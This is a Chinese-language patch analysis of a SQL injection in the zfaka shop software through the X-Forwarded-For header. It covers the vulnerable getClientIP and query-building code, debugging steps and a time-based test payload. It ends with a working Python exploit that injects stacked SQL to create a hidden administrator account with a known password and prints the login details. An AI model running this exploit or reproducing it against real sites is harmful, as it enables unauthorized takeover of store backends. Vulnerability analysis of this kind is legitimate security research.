zfaka
官方于7月11日发布了补丁,修复了一处sql
注入,简单记录下分析过程
0x01补丁
补丁显示修改了application/function/F_Network.php
文件,该文件的getClientIP
函数使用了网络上通用遍历XFF
等header
头获取真实IP的方法,但是获取完XFF
后根据,
截断获取第一个值后直接返回IP
0x02 分析
全局搜索下调用该函数的位置,发现前台的application/modules/Product/controllers/Order.php
文件和application/modules/Product/controllers/Query.php
调用了该函数,对应功能为下单和订单查询功能
进一步确认后为application/modules/Product/controllers/Query.php
第151行为存在漏洞的代码
0x03 动态调试
对151行下断点进行调试
找到对应功能
成功断下,单步跟入
发现在application/library/Core/Model.php
中的Where
方法对orderid
、isdelete
、 ip
直接进行了拼接
并在select
方法中调用generateSQL
方法进行拼接生成sql
语句并执行
用burpsuite
修改XFF
发包进行测试
命中断点后获取到的IP为"or sleep(2)-- x
执行的sql
语句变为
SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = ""or sleep(2)
|
去掉debug_session
发包测试,延时3秒
该处还支持堆叠注入,因此可以执行包括不限于添加管理、会员等功能。
半自动化脚本关键代码如下
def insertData(url): vul_url='product/query/ajax/' try: session= requests.Session() res=session.get(url,verify=False) phpsessionid=res.headers['Set-Cookie'] searchObj = re.search( r'var TOKEN = ".*";', res.text, re.M|re.I) if searchObj: CSRF_TOKEN=searchObj.group(0).replace('var TOKEN = "','').replace('";','') else: print('获取CSRF_TOKEN失败') exit data['zlkbmethod']='orderid' data['csrf_token']=CSRF_TOKEN print('浏览器访问{URL},将[Cookie: {phpsessionid}]替换至浏览器Cookie中,获取验证码并输入至脚本中。'.format(phpsessionid=phpsessionid,URL=url+'product/query/?zlkbmethod=orderid').replace('; path=/','')) data['vercode']=input('验证码:') headers['X-Forwarded-For']='1111";insert into t_admin_user(`id`) values (\'{RandomNum}\');UPDATE t_admin_user SET `email`=\'{EMAIL}\' WHERE id = \'{RandomNum}\' ;UPDATE t_admin_user SET `password`=\'76b1807fc1c914f15588520b0833fbc3\' WHERE id = \'{RandomNum}\';UPDATE t_admin_user SET `secret`=\'78e055\' WHERE id = \'{RandomNum}\'#'.format(RandomNum=RNDNUM,EMAIL=EMAIL.lower()) res=session.post(url+vul_url,data=data,headers=headers,verify=False) if res.status_code==200 and '1005' in res.text: print('exploit success, account add success\nuse {EMAIL} 123456 to login {URL}'.format(EMAIL=EMAIL.lower(),URL=url+'/admin')) else: print('exploit failed.') except: print('Network Error.')
|